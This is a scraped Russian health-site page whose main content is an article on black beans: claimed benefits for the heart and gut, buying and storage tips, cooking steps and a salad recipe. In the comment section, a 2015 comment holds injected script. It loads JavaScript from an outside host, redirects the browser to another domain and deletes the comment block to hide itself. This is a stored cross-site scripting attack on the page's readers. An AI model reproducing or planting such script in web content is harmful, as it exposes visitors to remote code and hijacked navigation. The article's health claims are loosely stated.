Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Черная фасоль – супер-еда...  >>  Черная фасоль – супер-еда для сердца и кишечника
 
Обратная связь
 

Черная фасоль – супер-еда для сердца и кишечника

Размер шрифта
08 декабря 2011 07:13
  • google_analytics: false
  • Нравится

Реабилитируем бобовые. С какими болезнями они борются, как их выбрать, как хранить и как правильно приготовить?

Из всех бобовых растительный белок черной фасоли по своему составу ближе всего к животному белку.

Плюсы черной фасоли
 

  1. Бобовые медленно проходит по желудочно-кишечному тракту, в отличие от простых сахаров, которые моментально попадают в кровь. Такая размеренная работа желудочно-кишечного тракта обеспечивает химический баланс и количество полезных микробактерий в ЖКТ. Нет резкого всплеска инсулина в крови, перепадов аппетита. Так растительные волокна и белки защищают от диабета 2 типа.

  2. Бобовые богаты растворимыми волокнами, которые не дают холестерину откладываться в сосудах. Уровень холестерина падает, снижается риск сердечно-сосудистых заболеваний, в том числе ишемической болезни сердца и инфаркта миокарда.

  3. Фасоль содержит витамин B6, которые участвует в образовании полезных аминокислот, необходимых для работы нервной системы.

  4. Черная фасоль снижает риск возникновения рака, особенно кишечника. В ней есть противовоспалительные фитонутриенты.

Минусы фасоли

  1. Олигосахариды в составе фасоли вызывают газообразование.

Пьедестал почета по содержанию пищевых волокон

1 – черные бобы (15-25 гр)
2 – фасоль обыкновенная красная (6-13 гр)
3 – горох (7-9 гр)

Как выбрать черную фасоль

  • Сухие бобы черной фасоли продаются в пакетах и на развес. Лучше покупать расфасованные бобы, меньше шансов купить некачественный продукт, поскольку меньше шансов, что там вам попадется недоброкачественный товар.
  • Бобы не должны быть влажными и потрескавшимися.
  • Консервированная фасоль почти не уступает свежей. Читайте упаковку: чем меньше соли и консервантов, тем лучше. В банках с резиновыми прокладками может быть канцероген бисфенол А (помечается как BPA на этикетках или цифрой 7 на упаковке).
     

Как хранить черную фасоль

  • В прохладном сухом темном месте в керамическом вакуумном контейнере бобы можно хранить до года.

Как готовить черную фасоль
  1. Переберите бобы и промойте.

  2. Чтобы фасоль быстрее приготовилась, их можно отварить в течение двух минут, снять с огня и дать настояться в течение 2 часов. Можно замочить на ночь в холодной воде.

  3. А можно взять 3 стакана воды на 1 стакан высушенных бобов (уровень воды должен быть на 2,5-5 см выше уровня бобов).

  4. Довести бобы фасоли до кипения, затем уменьшить огонь и приоткрыть крышку.

  5. Снять образовавшуюся пену. Варить на маленьком огне 1-1,5 часа.

Салат «Бобовый король»:
3 мелконарезанных апельсина
450 г промытых черных бобов
2 свежих крупно порезанных огурца
0,5 стакана мелко нарезанного репчатого лука
2 ст. л. оливкового масла
2 ст. л. сока лимона
1 ст. л. измельченного кориандра
1/4 ложки молотого черного перца

1. Смешать апельсины, черные бобы, огурцы и репчатый лук.
2. Взбить масло, сок лимона, кориандр и черный молотый перец.
3. Выложить салат, тщательно перемешать, закрыть крышкой и охладить.

Видеосюжеты по теме:

Черная фасоль. Бобы для короля

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:04

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.